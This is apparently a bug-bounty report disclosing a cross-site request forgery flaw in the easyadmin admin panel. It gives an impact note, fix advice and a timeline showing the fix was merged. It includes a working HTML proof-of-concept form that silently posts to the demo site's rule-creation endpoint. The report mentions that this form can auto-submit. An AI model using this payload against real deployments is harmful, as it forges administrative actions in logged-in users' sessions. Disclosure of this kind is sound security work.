Cross-Site Request Forgery (CSRF) in zhongshaofa/easyadmin

Valid

Reported on

Aug 4th 2021


✍️ Description

Attacker able to add any rule with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can add a rule, this means only with visiting a site a rule will be created.

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in In Firefox or safari.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here a rule with name aaa will be created after clicking on submit button on PoC.html file.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://easyadmin.99php.cn/admindemo/system.auth/add" method="POST">
<input type="hidden" name="title" value="aaa" />
<input type="hidden" name="remark" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Also for real attacks the submit button can be auto-submit.

💥 Impact

This vulnerability is capable of add any rule.

Fix

set a token with a length bigger that 16 characters in every requests body then attacker never can guess the url. Also you cat turn Lax to Strict in cookies. 📍 Location app.php#L1

Ziding Zhang
3 months ago

Admin


Hey amammad, I've emailed the repo maintainer for you.

We have contacted a member of the zhongshaofa/easyadmin team and are waiting to hear back 3 months ago
Mr.Chung confirmed that a fix has been merged on 4cb2be 3 months ago
Mr.Chung has been awarded the fix bounty